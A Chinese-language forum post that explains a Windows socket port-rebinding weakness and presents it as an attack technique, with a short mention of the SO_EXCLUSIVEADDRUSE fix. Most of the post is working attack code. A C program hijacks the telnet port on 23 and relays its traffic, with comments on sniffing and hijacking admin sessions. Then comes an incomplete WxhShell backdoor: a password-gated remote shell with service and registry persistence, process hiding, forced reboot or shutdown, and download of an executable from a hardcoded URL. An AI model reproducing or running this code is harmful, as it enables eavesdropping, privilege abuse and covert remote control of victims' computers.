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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <, @%*G1-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |`rJJFA  
j]4,<ppWSH  
  saddr.sin_family = AF_INET; Z=z%$l  
:<S<f%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tNaL;0#Tx  
G-um`/<%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v syWm.E  
np$ zo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #=c`of6  
^q[gxuL_  
  这意味着什么?意味着可以进行如下的攻击: `FF8ie8L  
PD[z#T!'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,^s0</v e  
_r Y,}\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;@mRo`D`  
 Gs0H@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k#>hg#G  
R`'1t3p0i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \}*k)$r  
fC-P.:F#I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dbdM"z 4  
$hrIO+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w`HI]{hE~N  
P87# CAN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )q~DTR^z-  
~eh0[mF^]  
  #include 0DPxW8Y-`  
  #include &p(0K4:  
  #include wVl+]zB  
  #include    K|S:{9Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i?@M  
  int main() U7$WiPTNL9  
  { F3U`ueP  
  WORD wVersionRequested; a|j%n  
  DWORD ret; -b;|q.!  
  WSADATA wsaData; rVSZ.+n  
  BOOL val; `u'bRp  
  SOCKADDR_IN saddr; ]c)_&{:V  
  SOCKADDR_IN scaddr; MHj,<|8Q  
  int err; |pZUlQbb  
  SOCKET s; Td\o9  
  SOCKET sc; O'*@ Ytn  
  int caddsize; 4\otq%Y  
  HANDLE mt; 0$.m_0H  
  DWORD tid;   T<b+s#n4  
  wVersionRequested = MAKEWORD( 2, 2 ); []kN16F  
  err = WSAStartup( wVersionRequested, &wsaData ); AI ijCL  
  if ( err != 0 ) { |AhF7Mj*  
  printf("error!WSAStartup failed!\n"); Z?NW1m()F  
  return -1; -~f511<  
  } ]B\H ~Kn  
  saddr.sin_family = AF_INET; =^DLywAh}u  
   G'z{b$?/[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `_X;.U.Mv  
1=}qBR#scY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m6mwyom.  
  saddr.sin_port = htons(23); ~g;   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {MdLX.ycc)  
  { px''.8   
  printf("error!socket failed!\n"); X"MU3]  
  return -1; ->{d`-}m'  
  } Qeq5gN]  
  val = TRUE; x*XH]&V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wE\3$ s/{D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ksR1k vTm  
  { eet Q}]  
  printf("error!setsockopt failed!\n"); DPn=n9n2  
  return -1; ?DV5y|}pj  
  } >ezi3Zx^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5II(mSg8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ard]147  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =}!Mf'  
Y]|:?G7l]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [/ M^[p  
  { WCJxu}!  
  ret=GetLastError(); *LC+ PZV@  
  printf("error!bind failed!\n"); ow'Vz Ay-  
  return -1; * *H&+T/B  
  } $:s`4N^  
  listen(s,2); o|pT;1a"  
  while(1) >JwLk[=j  
  { ^L4Qbc(vJ  
  caddsize = sizeof(scaddr); a,t``'c;  
  //接受连接请求 , "0)6=AE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >g ll-&;t  
  if(sc!=INVALID_SOCKET) siDh="{s  
  { 13'vH]S$M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3riw1r;Q  
  if(mt==NULL) UYP9c}_,4  
  { @F*wg  
  printf("Thread Creat Failed!\n"); I751 t  
  break; 9Z"+?bv/  
  } "Ml&[O ge  
  } ykg#{9+  
  CloseHandle(mt); '\#EIG  
  } ?L) !pP]  
  closesocket(s); oB1>x^  
  WSACleanup(); gR^>3n'  
  return 0;  $!@\  
  }   -Ng'<7  
  DWORD WINAPI ClientThread(LPVOID lpParam) EpJ4`{4  
  { Z#l%r0(o  
  SOCKET ss = (SOCKET)lpParam; h0vob_Fdl  
  SOCKET sc; [P4$Khu$  
  unsigned char buf[4096]; e?0q9W  
  SOCKADDR_IN saddr; L)QE`24  
  long num; S8Fmy1#  
  DWORD val; {Rq1HH  
  DWORD ret; ~I}9;XT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 smY$-v)@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C Wo1.pVw  
  saddr.sin_family = AF_INET; 1k%k`[VC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0yM[Z':i'{  
  saddr.sin_port = htons(23); 7IlOG~DC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c?2MBtnu  
  { J<gJc*Q  
  printf("error!socket failed!\n"); 4M&`$Wim  
  return -1; :K82sCy%5  
  } xda; K~w  
  val = 100; W=B"Q qL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qB]i6*  
  { /.Nov  
  ret = GetLastError(); fQK"h  
  return -1; -~" :f8  
  } 1_'? JfY-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `IpA.| Y  
  { IxR?'  
  ret = GetLastError(); ma$Prd  
  return -1; 5qUTMT['T  
  } vR6Bn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x3ERCqTR  
  { 5l-mW0,MK  
  printf("error!socket connect failed!\n"); YNrp}KQ  
  closesocket(sc); AGP("U'u  
  closesocket(ss); ^\:8w0Y^  
  return -1; Dq@2-Cv  
  } q-ES6R  
  while(1) W,@ If}  
  { |tzg :T;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bOp54WI-g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y7i%W4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lOwS&4UT  
  num = recv(ss,buf,4096,0); \qvaE+  
  if(num>0) u}bf-;R  
  send(sc,buf,num,0); DD9?V}Yx  
  else if(num==0) z\ss4  
  break; q}BzyC=:n  
  num = recv(sc,buf,4096,0); }{9&:!uA  
  if(num>0) +|Hioq* ,t  
  send(ss,buf,num,0); ; |/leu8  
  else if(num==0) "P@>M)-9Z  
  break; u,3,ck!B>@  
  } ^taBG3P  
  closesocket(ss); |IoB?^_h  
  closesocket(sc); IL/Yc1  
  return 0 ; [ =x s4=  
  } 4F>Urh+  
t&Os;x?To?  
Wjh/M&,  
==========================================================  8@{OR"Ec  
7?gFy-  
下边附上一个代码,,WXhSHELL 3cS2gxF  
9z;HsUv  
========================================================== )?M9|u  
U'UQ|%5f  
#include "stdafx.h" Ch()P.n?  
qjAWeS/  
#include <stdio.h> /N>e&e[35\  
#include <string.h> [+ *$\  
#include <windows.h> /WV7gO&L1  
#include <winsock2.h> )Dp/('Z2  
#include <winsvc.h> LLWB  
#include <urlmon.h> R .[Z]-X  
_{vkX<s  
#pragma comment (lib, "Ws2_32.lib") j6~nE'sQ  
#pragma comment (lib, "urlmon.lib") X7UuwIIP  
qzw'zV  
#define MAX_USER   100 // 最大客户端连接数 kL7#W9  
#define BUF_SOCK   200 // sock buffer dUgrKDNyA  
#define KEY_BUFF   255 // 输入 buffer Uq_j\A;c  
' /Bidb?  
#define REBOOT     0   // 重启 UmnE@H"t$\  
#define SHUTDOWN   1   // 关机 !{n<K:x1  
6J~12TU,  
#define DEF_PORT   5000 // 监听端口 X1[CX&Am  
j#~Jxv%n  
#define REG_LEN     16   // 注册表键长度 gw`B"c|  
#define SVC_LEN     80   // NT服务名长度 m+{K^kr[  
=@u 5|:  
// 从dll定义API dLsn\m>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xCzebG["  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ 7PMmW@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >StO.Q99  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5G0 $  
YI-O{U  
// wxhshell配置信息 1CPjil*eb  
struct WSCFG { Iq+>qX   
  int ws_port;         // 监听端口 D47R  
  char ws_passstr[REG_LEN]; // 口令 dt[k\ !-v  
  int ws_autoins;       // 安装标记, 1=yes 0=no e}@)z3Q<l  
  char ws_regname[REG_LEN]; // 注册表键名 @cRZk`|1n  
  char ws_svcname[REG_LEN]; // 服务名 P X;Ed*y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /:<IIqO.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _UE)*l m+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z|?R/Gf8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q1y/x@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3'c\;1lhT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M@P 1,Y  
gx03xPeu  
}; {:c]|^w6  
k+V6,V)my  
// default Wxhshell configuration FLoNE>q  
struct WSCFG wscfg={DEF_PORT, /!}'t  
    "xuhuanlingzhe", >U1R.B7f  
    1, 2#X4G~>#h  
    "Wxhshell", n\I#CH0V  
    "Wxhshell", "M|P+A  
            "WxhShell Service", #U=X NU}k  
    "Wrsky Windows CmdShell Service", }7{t^>;D  
    "Please Input Your Password: ", +6smsL~<#v  
  1, k"k J_(  
  "http://www.wrsky.com/wxhshell.exe", d_S*#/k  
  "Wxhshell.exe" %8aC1x  
    }; nFX_+4V2  
4RKW  
// 消息定义模块 wn>edn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4GG>!@|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N3t0-6$_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1tCQpf  
char *msg_ws_ext="\n\rExit."; H7+X&#s%  
char *msg_ws_end="\n\rQuit."; E^_w I>  
char *msg_ws_boot="\n\rReboot..."; {Z;jhR,  
char *msg_ws_poff="\n\rShutdown..."; x# ~ x;)  
char *msg_ws_down="\n\rSave to "; Sz{O2 l Y  
41#w|L \  
char *msg_ws_err="\n\rErr!"; %or,{mmiM:  
char *msg_ws_ok="\n\rOK!"; ,1q_pep~?%  
_qvK*nE  
char ExeFile[MAX_PATH]; VhT= l  
int nUser = 0; uUE9g  
HANDLE handles[MAX_USER]; UV}73Sp  
int OsIsNt; 5ep/h5*/  
g u)=wu0  
SERVICE_STATUS       serviceStatus; }],Z;:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ` b !5^W  
O2{)WWOT  
// 函数声明 lcON+j  
int Install(void); *5sBhx  
int Uninstall(void); JO&JP3N1  
int DownloadFile(char *sURL, SOCKET wsh); UE _fpq  
int Boot(int flag); _u"nvgVz9  
void HideProc(void); zeP}tzQO  
int GetOsVer(void); 9[v1h,L  
int Wxhshell(SOCKET wsl); ~mV"i7VX  
void TalkWithClient(void *cs); >}~#>Ru  
int CmdShell(SOCKET sock); UH@a s  
int StartFromService(void); 2:}fe}  
int StartWxhshell(LPSTR lpCmdLine); U,/6;}  
eLwTaW !C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;E~4)^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K\[!SXg@  
6{x,*[v  
// 数据结构和表定义 -71dN0hWh  
SERVICE_TABLE_ENTRY DispatchTable[] = -B#yy]8  
{ {qKxz9.y  
{wscfg.ws_svcname, NTServiceMain}, eRbGZYrJ  
{NULL, NULL} ^n#1<K[E  
}; ]!:oYAm  
s/"&9F3  
// 自我安装 &m3.h!dq  
int Install(void) BE&B}LfvfO  
{ Xqp|VbDca  
  char svExeFile[MAX_PATH]; JXiZB 8}  
  HKEY key; {P8[X@Lu  
  strcpy(svExeFile,ExeFile); n<Svw a}  
wI M{pK  
// 如果是win9x系统,修改注册表设为自启动 {v aaFs  
if(!OsIsNt) { ,~ ?'Ef80  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p6EDQwlf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +c:3o*  
  RegCloseKey(key); 4A{|[}!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nU+tM~C%a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g}&hl"j  
  RegCloseKey(key); k.h`Cji@  
  return 0; W-RqN!snJ8  
    } puSLqouTM  
  } I3u{zHVwI  
} x+? 9C  
else { ci,+Bjc  
 [\)oo  
// 如果是NT以上系统,安装为系统服务 K*K1(_x=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *VSel4;\t  
if (schSCManager!=0) Jsg I'  
{ p\wJD1s  
  SC_HANDLE schService = CreateService JnD {J`:  
  ( &a> lWE  
  schSCManager, y$ Zj?Dd#  
  wscfg.ws_svcname, > 1L=,M  
  wscfg.ws_svcdisp, PZ:u_*Vu`  
  SERVICE_ALL_ACCESS, /4=-b_2Y~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )j6eE+gF  
  SERVICE_AUTO_START, Q^}%c U0  
  SERVICE_ERROR_NORMAL, 2J;`m_oP  
  svExeFile, Kj=gm .  
  NULL, mOll5O7VW  
  NULL, fbrp#G71y  
  NULL, (A k\Lm  
  NULL, ,zcQS-e2  
  NULL [}nK"4T"Ri  
  ); m:tiY [c>W  
  if (schService!=0) %/"Oxi^G  
  { <dA8 '7^  
  CloseServiceHandle(schService); pvWau1ArNq  
  CloseServiceHandle(schSCManager); |YJCWFbs8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;SwC&.I  
  strcat(svExeFile,wscfg.ws_svcname); `znB7VQ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q)u2Y]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @b&84Gn2 r  
  RegCloseKey(key); 3 K/Df#  
  return 0; ske@uzAz  
    } 'iSAAwT2aj  
  } oR+-+-? ?$  
  CloseServiceHandle(schSCManager); ~%w~-O2  
} TmRx KrRs  
} fT:}Lj\L1  
n[xkSF^)  
return 1; )\/ =M*  
} yT OyDm-  
Ob+9W  
// 自我卸载 a+41|)pt  
int Uninstall(void) 3{raKM6F  
{ !&kL9A).  
  HKEY key; +,'T=Ic{  
zbw7U'jk  
if(!OsIsNt) { `cP <}^]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \L!uHAE2a  
  RegDeleteValue(key,wscfg.ws_regname); `&7RMa4=  
  RegCloseKey(key); r2*<\ax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9"oL!2h  
  RegDeleteValue(key,wscfg.ws_regname); 0V,Nv9!S  
  RegCloseKey(key); )yee2(S  
  return 0; `qpc*enf0  
  } MKGS`X]<J  
} 4 k}e28  
} -Q e~)7  
else { 4|J[Jdj  
; ~ 4k7Uz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SDJH;c0   
if (schSCManager!=0) Pd=,$UQp  
{ s}x>J8hK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N?r>%4  
  if (schService!=0) 9 wa,k  
  { ]o.vB}WsY  
  if(DeleteService(schService)!=0) { 6/ g%\ka  
  CloseServiceHandle(schService); ZwI 1* f  
  CloseServiceHandle(schSCManager); jrJR1npB  
  return 0; 5vp|?-\h>  
  } A;K(J4y*  
  CloseServiceHandle(schService); IFNWS,:  
  } %Tcf6cK"  
  CloseServiceHandle(schSCManager); -<f/\U  
} 0Vv9BL{  
} *DeTqO65  
54p tP  
return 1; "Tbnxx]J  
} 9G+f/k,P  
% +Pl+`? E  
// 从指定url下载文件 e29y7:)c=  
int DownloadFile(char *sURL, SOCKET wsh) .CV _\  
{ ^tAO_~4  
  HRESULT hr; AY2:[ 5cm  
char seps[]= "/"; \^532FIw6  
char *token; zok D:c  
char *file; t\y-T$\\  
char myURL[MAX_PATH]; v#w_eqg  
char myFILE[MAX_PATH]; gtU1'p"  
kl7A^0Qrz  
strcpy(myURL,sURL); y0q#R.TOm  
  token=strtok(myURL,seps); s3t!<9[m  
  while(token!=NULL) Q}vbm4)[  
  { 'w<BJTQIL  
    file=token; jp<VK<s]  
  token=strtok(NULL,seps); iLq#\8t^  
  } -e`;bX_N)  
-f>'RI95>  
GetCurrentDirectory(MAX_PATH,myFILE); I lG:X)V%  
strcat(myFILE, "\\"); <! x+e E`  
strcat(myFILE, file); aO1IVESr$  
  send(wsh,myFILE,strlen(myFILE),0); sOC&Q&eg  
send(wsh,"...",3,0); x'`"iZO.t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4,1oU|fz  
  if(hr==S_OK) 1M5 -pZ[D  
return 0; iyM^[/-R6  
else /A(NuB<Pq  
return 1; UVX"fZ)  
>]$aoA#  
} (Pi-uL<[a  
*3Nn +T  
// 系统电源模块 E&2tBrAq  
int Boot(int flag) Q_P5MLU>  
{ L7q |^`  
  HANDLE hToken; H^(L90  
  TOKEN_PRIVILEGES tkp; v[#)GB _5  
cdp0!W4Gi  
  if(OsIsNt) { D1"7s,Hmu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,seFkG@1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c~tAvDX  
    tkp.PrivilegeCount = 1; vjK, I9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "DckwtG:%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1bRL"{m^)-  
if(flag==REBOOT) { &4kM8Qh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R2^iSl%pj  
  return 0; U</+.$b  
} &hN,xpC  
else { (([I]q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1r4,XSk  
  return 0; 981!2*  
} EF;,Gjh5p  
  } 31XU7A  
  else { 1D1b"o  
if(flag==REBOOT) { N/{?7sG&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -<oZ)OfU  
  return 0; 7:o+iP46  
} _Y-$}KwY!  
else { h([0,:\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :C%47qv  
  return 0; Q4%IxR?  
} 4 X`^{~  
} <-)9>c:k  
:kp0EiJ  
return 1; f5?hnt`m  
} T T"3^@  
#v8Cy|I  
// win9x进程隐藏模块 79tJV  
void HideProc(void) yiT{+;g^  
{ |R~;&x:  
ryEvmWYu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t<lyg0f  
  if ( hKernel != NULL ) wo(j}O-  
  { w-: D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . bG{T|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %FS;>;i?  
    FreeLibrary(hKernel); l<RfRqjw  
  } \Da~p9 T&  
*|'}v[{v^9  
return; h.b+r~u  
} {Gkn_h-^  
)6G+tU'  
// 获取操作系统版本 |Ow$n  
int GetOsVer(void) 6D^%'[4t  
{ ~ 7BX@?  
  OSVERSIONINFO winfo; Mcb<[~m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \>[gl!B_Rr  
  GetVersionEx(&winfo); M9g1d7%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AI fk"2  
  return 1; {G.{a d  
  else SRk7gfP*q  
  return 0; r %xB8e9  
} j?J=w=.Nx  
^K>pT}u  
// 客户端句柄模块 Na;t#,  
int Wxhshell(SOCKET wsl) w{ m#Yt  
{ 2V<# Y  
  SOCKET wsh; ST4(|K  
  struct sockaddr_in client; Vx(;|/:  
  DWORD myID; !L$oAqW  
=0Y'f](2eW  
  while(nUser<MAX_USER) *<3iEeO/R  
{ |ZuDX87  
  int nSize=sizeof(client); /2'c>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qid1b b  
  if(wsh==INVALID_SOCKET) return 1; "2K|#,%N  
V,'FlU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XAlD ww  
if(handles[nUser]==0) EM~7#Y  
  closesocket(wsh); Oi#k:vq4  
else Q }8C  
  nUser++; nTQ (JDf  
  } JgZdS-~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "U{mMd!9L  
w`38DF@K  
  return 0; <v-92?  
} N>T=L0`  
&:,fb]p  
// 关闭 socket dW6Q)Rfi  
void CloseIt(SOCKET wsh) "p2u+ 8?  
{ KK MWD\  
closesocket(wsh); 3~8AcX@  
nUser--; ri;r7Y9V9`  
ExitThread(0); '4Y*-!9  
} |W/Hi^YE2  
n7'<3t  
// 客户端请求句柄 oPE.gn_$  
void TalkWithClient(void *cs) \!6t  
{ N}1-2  
.y(@Y6hO  
  SOCKET wsh=(SOCKET)cs; ^W{eO@  
  char pwd[SVC_LEN]; }8X:?S %  
  char cmd[KEY_BUFF]; fjG/dhr  
char chr[1]; {S# 5g2  
int i,j; OQ 0b$qw  
$M%}Oz3*  
  while (nUser < MAX_USER) { 7{8)ykBU^  
13]y)(  
if(wscfg.ws_passstr) { 34^Q5B~^J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %k~C-+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lK 9s0t'  
  //ZeroMemory(pwd,KEY_BUFF); csm?oUniz  
      i=0; >EyvdX#v  
  while(i<SVC_LEN) { | eK,Td%  
I[vME"  
  // 设置超时 7jD@Gp`" 3  
  fd_set FdRead; F\l!A'Q+t  
  struct timeval TimeOut; ZlUFJ*pk  
  FD_ZERO(&FdRead); I\)N\mov e  
  FD_SET(wsh,&FdRead); ook' u }h  
  TimeOut.tv_sec=8; 8Na}Wp;|Gi  
  TimeOut.tv_usec=0; <:H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r{c5dQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); il<gjlyR]L  
)E_!rR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _p?I{1O  
  pwd=chr[0]; 3<yCe%I:  
  if(chr[0]==0xd || chr[0]==0xa) { ggzAU6J  
  pwd=0; P'KY.TjWb  
  break; XWJ0=t&}  
  } _y.mpX&  
  i++; Ni/|C19Z  
    } jAsh   
iOE9FW|e  
  // 如果是非法用户,关闭 socket .kz(V5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (p}9^Y  
} :a#|  
!;6W!%t.|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DWHOS XA4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S;G"L$&\  
BNF++<s  
while(1) { s2kGU^]y  
#p;4:IT  
  ZeroMemory(cmd,KEY_BUFF); V/+H_=|  
Tm'lN5}&9  
      // 自动支持客户端 telnet标准   1KNkl,E  
  j=0; |Sy}d[VKsZ  
  while(j<KEY_BUFF) { +<vqkc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OsDp88Bc  
  cmd[j]=chr[0]; bUpmU/ RW  
  if(chr[0]==0xa || chr[0]==0xd) { f4qS OVv  
  cmd[j]=0; w`w ` q'  
  break; \f ~u85  
  } ?^F*"+qI  
  j++;  'lSnyW{  
    } %> oT7|x  
U<#$w{d:  
  // 下载文件 hA$c.jJr.Z  
  if(strstr(cmd,"http://")) { Vw6>:l<+<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y?rK5Yos  
  if(DownloadFile(cmd,wsh)) T(t <Ay?c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %`8KG(F^  
  else AiR%MD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c=uBT K*  
  } Zi15wE  
  else { uk>q\j  
KR+aY.  
    switch(cmd[0]) { 4C2>0O<^s  
  @Wlwt+;fT  
  // 帮助 }Etd#">  
  case '?': { aH~x7N6!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z &ua,:5  
    break; 0DW'(#`  
  } l#< }|b  
  // 安装 BHiw!S<  
  case 'i': { ^H y)<P  
    if(Install()) ?kG#qt]Q5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z 1|  
    else 3:z4M9f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U[H+87zg  
    break; ~50y-  
    } BdRE*9.0  
  // 卸载 FN8=YUYK%  
  case 'r': { o>QFd x  
    if(Uninstall()) DT1i2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@OrX  
    else 8=u+BDG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oa3=+_C~$1  
    break; I*`=[nR  
    } )U3 H1 5  
  // 显示 wxhshell 所在路径 5r2ctde)Y  
  case 'p': { _tWfb}6;Zb  
    char svExeFile[MAX_PATH]; 6kmZ!9w0|  
    strcpy(svExeFile,"\n\r"); jQw`*Y/,  
      strcat(svExeFile,ExeFile); 0|*UeM  
        send(wsh,svExeFile,strlen(svExeFile),0); ,AFC1t[0  
    break; ~ L i%  
    } : Oz7R:  
  // 重启 4N0W& Dy  
  case 'b': { ;^*+:e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <LOx.}fv  
    if(Boot(REBOOT)) d%[`=fs]|m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AU${0#WV_  
    else { /oix tO)  
    closesocket(wsh); C$Hl`>?$  
    ExitThread(0); .,BD DPFB  
    } $ M[}(m  
    break; A(!ZZ9 Wc  
    } u" NIG  
  // 关机 )b:~kuHi  
  case 'd': { bl!f5ROS(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wvzzjcr(j  
